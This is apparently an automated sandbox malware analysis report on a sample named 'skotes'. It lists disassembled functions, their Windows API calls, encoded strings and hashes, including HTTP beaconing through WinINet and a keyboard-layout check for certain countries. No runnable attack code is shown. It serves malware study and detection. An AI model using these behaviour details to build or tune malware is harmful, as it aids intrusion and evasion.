Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: InformationTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 565725191-239921721
Opcode ID: 482d2ffc6e57a21ec52344f29945aee7923a7919fc234a67aee0d36a99f94b6f
Instruction ID: c71037a3627fde2df667e7a937e5c0192ba383c323491884f333a9ca2d771d14
Opcode Fuzzy Hash: 482d2ffc6e57a21ec52344f29945aee7923a7919fc234a67aee0d36a99f94b6f
Instruction Fuzzy Hash: F3C10671A002459BDB249F78CC91FBE7BE9EF55350F1400EEE9909B251EB718E41C760

Function 00B8EB4E Relevance: 30.1, APIs: 3, Strings: 13, Instructions: 2131
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00B8EB51
CreateDirectoryA.KERNEL32(00000000), ref: 00B8EC83
GetFileAttributesA.KERNEL32(00000000), ref: 00B8ED98

Strings

FCQgKF==, xrefs: 00B8FEE4
stoi argument out of range, xrefs: 00B908C4
#, xrefs: 00B90624
9c9aa5, xrefs: 00B8FB8E
FisgLnsCZO1i, xrefs: 00B8FF19
mxo1L0x, xrefs: 00B8EE84
WTs=, xrefs: 00B905CA
246122658369, xrefs: 00B8F737, 00B8FA14, 00B8FE00, 00B905E7
111, xrefs: 00B8F7A0
invalid stoi argument, xrefs: 00B908B0
GiQaT29tduF=, xrefs: 00B8FEB6
UA==, xrefs: 00B8EC41, 00B8ED56, 00B8EF89, 00B8F2CE
WDw=, xrefs: 00B8F71D, 00B8F9FA, 00B8FDE3

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesFile$CreateDirectory
String ID: mxo1L0x$#$111$246122658369$9c9aa5$FCQgKF==$FisgLnsCZO1i$GiQaT29tduF=$UA==$WDw=$WTs=$invalid stoi argument$stoi argument out of range
API String ID: 1875963930-2267310118
Opcode ID: 57966c3a98cde9dcc8c7442a636495ee68ade0501161addc4236256e1a206314
Instruction ID: 8f204672bcb8a17f2fbecf8a7d9ffcfcf436ab1ec4e46b22566d722d3f0e6286
Opcode Fuzzy Hash: 57966c3a98cde9dcc8c7442a636495ee68ade0501161addc4236256e1a206314
Instruction Fuzzy Hash: EDF22C71A101489BEF18EB38CD8979D7BF29F46304F5482ECE409A73E6DB359A84CB51

Function 00B8BE30 Relevance: 21.3, APIs: 6, Strings: 6, Instructions: 313
networksleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000005DC,670DF653,?,00000000), ref: 00B8BEB8
InternetOpenW.WININET(00BD8DC8,00000000,00000000,00000000,00000000), ref: 00B8BEC7
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 00B8BEEB
HttpOpenRequestA.WININET(?,00000000), ref: 00B8BF36
HttpSendRequestA.WININET(?,00000000), ref: 00B8BFF6
InternetReadFile.WININET(?,?,000003FF,?), ref: 00B8C0A7
InternetCloseHandle.WININET(?), ref: 00B8C187
InternetCloseHandle.WININET(?), ref: 00B8C18F
InternetCloseHandle.WININET(?), ref: 00B8C197

Strings

stoi argument out of range, xrefs: 00B8E4EA
RE1NXF==, xrefs: 00B8BF0E
invalid stoi argument, xrefs: 00B8E4F4
8HJUeMD Lq5=, xrefs: 00B8C465
hV, xrefs: 00B8CB06, 00B8CCE4
8HJUeIfzLo==, xrefs: 00B8C3CB, 00B8C623

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectFileReadSendSleep
String ID: 8HJUeIfzLo==$8HJUeMD Lq5=$RE1NXF==$hV$invalid stoi argument$stoi argument out of range
API String ID: 2167506142-1683200280
Opcode ID: d173517952c321dbbe3a928f94aadbc04c9990b8733097acb7dccdac9c72504a
Instruction ID: fd8ca7ace5a87a3887786c262f02f8bcab65542fc6f1f6b7edf2bdeec27d36ce
Opcode Fuzzy Hash: d173517952c321dbbe3a928f94aadbc04c9990b8733097acb7dccdac9c72504a
Instruction Fuzzy Hash: 11B1E4B05001189BDB24EF28CC85BADBBE5EF45304F5041E9F508972E2DB719AC4CFA8

Function 00B86020 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 275
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,80000001,0000043f,00000008,00000423,00000008,00000422,00000008,00000419,00000008), ref: 00B8617D
RegEnumValueA.KERNEL32(?,00000000,?,00001000,00000000,00000000,00000000,00000000), ref: 00B86271

Strings

00000423, xrefs: 00B860FA
0000043f, xrefs: 00B8612B
00000422, xrefs: 00B860C9
00000419, xrefs: 00B86098
Keyboard Layout\Preload, xrefs: 00B86054

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: EnumOpenValue
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 2571532894-3963862150
Opcode ID: 2652c2f5dea2a82901307eab5d956810f716e29e5bd7a3b5b65df9c50e3c6ee3
Instruction ID: bf413d33b49012928cfcfefde7e91ecd513d696cc0b009c03c05fc318d7d6bf2
Opcode Fuzzy Hash: 2652c2f5dea2a82901307eab5d956810f716e29e5bd7a3b5b65df9c50e3c6ee3
Instruction Fuzzy Hash: 1BB1AE719002689BDB24DB54CC85BDEB7B9AF15300F5402E9E108E72A1DB74AFA8CF94

Function 00B87D30 Relevance: 9.2, APIs: 1, Strings: 4, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00B87ED3

Strings

JjssPV==, xrefs: 00B881E2
JjssOl==, xrefs: 00B8813A
JjsrPl==, xrefs: 00B8828A
JjsrQV==, xrefs: 00B88092

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: JjsrPl==$JjsrQV==$JjssOl==$JjssPV==
API String ID: 1721193555-3123340372
Opcode ID: 556d9a11f77123b8ba6d5d9f8d8943caab1898acf5c3640974a5edab3dc9bf6b
Instruction ID: ad96d40138f26946584c0b6249f4a227d5b54063a1d315c59cfefd02815cabe6
Opcode Fuzzy Hash: 556d9a11f77123b8ba6d5d9f8d8943caab1898acf5c3640974a5edab3dc9bf6b
Instruction Fuzzy Hash: F8E1C470E006449BDB25BB688C4B79D7BE1AB42724F9442D8E4156B3E2DF758E80CBC6

Function 00BC1ABC Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00BC1775: CreateFileW.KERNEL32(00000000,00000000,?,00BC1B65,?,?,00000000,?,00BC1B65,00000000,0000000C), ref: 00BC1792

__dosmaperr.LIBCMT ref: 00BC1BD7
GetFileType.KERNEL32(00000000), ref: 00BC1BE3
__dosmaperr.LIBCMT ref: 00BC1BF6
__dosmaperr.LIBCMT ref: 00BC1D9C

Strings

H, xrefs: 00BC1D21

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
